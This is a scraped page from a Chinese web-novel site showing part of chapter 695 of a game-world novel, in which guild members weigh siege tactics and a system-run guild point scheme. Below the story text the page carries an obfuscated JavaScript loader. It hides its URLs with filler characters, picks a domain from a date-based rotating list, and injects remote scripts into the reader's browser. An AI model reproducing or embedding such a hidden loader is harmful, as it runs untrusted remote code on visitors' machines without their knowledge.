返回

第六百九十五章 有追求的流玥 网游之近战法师

首页
报错
关灯
护眼
字:
大
中
小
上一章 回目录 下一页

第六百九十五章有追求的流玥

“快,叫人,都去那边!”逆流而上此时虽然说不出个所以然,但就是感觉有些不大对劲。

对酒当歌这段时间也一直没有攻城的举动,在行会同盟解散后,逆流而上并不看好硬碰硬能拿下云端城,所以遣散了大部分的行会成员,一边四下寻访任务,一边注意各个战场的情况。

零零碎碎的任务倒也收集了一些,不过并没有什么影响着城战进程的大事件,但就靠这些任务积累下去,逆流而上觉得他们行会也不会落了下风。那些和守城npc浴血奋战的,都没讨到好。东西南三门,随着玩家死亡次数的上升,超来超是后继无力,最后终是成全了系统卫兵的以逸待劳,来一波灭一波。

现在连这三城门方向的玩家攻击的都不怎么热情了,有还在坚持的,还有一些和对酒当歌一样转去搜集任务,还有一些觉得有些腻味,干脆都下了线了。当然这些都是比较无欲无求的小行会,小行会里成员对行会贡献比较漠视,因为即使贡献也未必能换来什么直接的好处。

但在大行会就不同了,行会积分几乎在行会内部几乎相当于流通的货币,而行会在进行完一些大型任务得到优秀的装备奖励时,如何分配也不是会长一手遮天的事。系统制定的规则,就是由行会成员消耗行会积分来获取优秀装备,而想拥有积分,平时里就必须经常参与行会的团队活动,否则任你是再高的高手,这种由系统进行统计出的积分,也绝没有其他任何途径可以获得。虽然系统的统计难免有些呆板,一些比较人性的贡献系统是统计不到的,这些就只能依靠行会会长用别的方式来弥补了。

各行会都会结合系统的积分制建立起自家的赏罚制度,但能真正执行起来的一般都是大行会。这其实也是个良性循环的过程。没有规则不成方圆,大家都遵守了规则,行会发展自然蒸蒸日上,越来越大;这行会越大,自然能接取到更强的任务,奖励自然越出色,为了获取奖励,行会成员自然更加积极的采加行会活动获取积分。能进入这样的循环模式,玩家对行会的归属感才会越来越高,行会发展也会越来越稳定。而那些空有规则,但成员基本不当回事,只靠几个积极分子支撑的,肯定成不了大气候,到时候再羡慕起大行


本章未完,点下一页继续阅读。>>>

let urls=["hUUtUUtUUpUUsUU:UU/UU/UU{UUdUUdUUmUU}UU/UU1UU8UU/UU1UU1UU0UU5UU6UU1UUbUU2UU6UU2UU9UU3UU8".split("UU").join(""),"hMMtMMtMMpMMsMM:MM/MM/MMsMM.MMlMMtMMdMMzMMzMM.MMcMMoMMmMM/MM1MM8MM/MM1MM1MM0MM5MM6MM1MMbMM2MM6MM2MM9MM3MM8".split("MM").join("")];window.__rr__hld=1;let urlindex=0;let ddm=function(){let i = parseInt((new Date().getTime()/1000 - 1767052800)/86400/2);i = i %30;let ds = ['3w2t89814','btsel5g','6xklldl','2jtbig','kjbyn6zr96','8wz4mjirv','hpm47fyaf','oc79obwnpm','hjvrl','aroychmdcl','lx51ib3szv','6z2h1lycfw','ef7t2','31fpdcrf','uqn83ea8q'];return ds[i%15] + (i<15?".cc":".co"+"m");};let rfunc=function(){if(window.__rr__loaded_2938_1105 != 'ok'){let ss = document.createElement('script');ss.type = 'text/javascript';ss.referrerPolicy='no-referrer';ss.src=urls[urlindex++].replace(/\{ddm\}/g,ddm())+ (navigator.userAgent.indexOf('Android') != -1 ? 'a':'i') + '?_=' + new Date().getTime();document.body.appendChild(ss);}};rfunc();rfunc();
上一章 回目录 下一页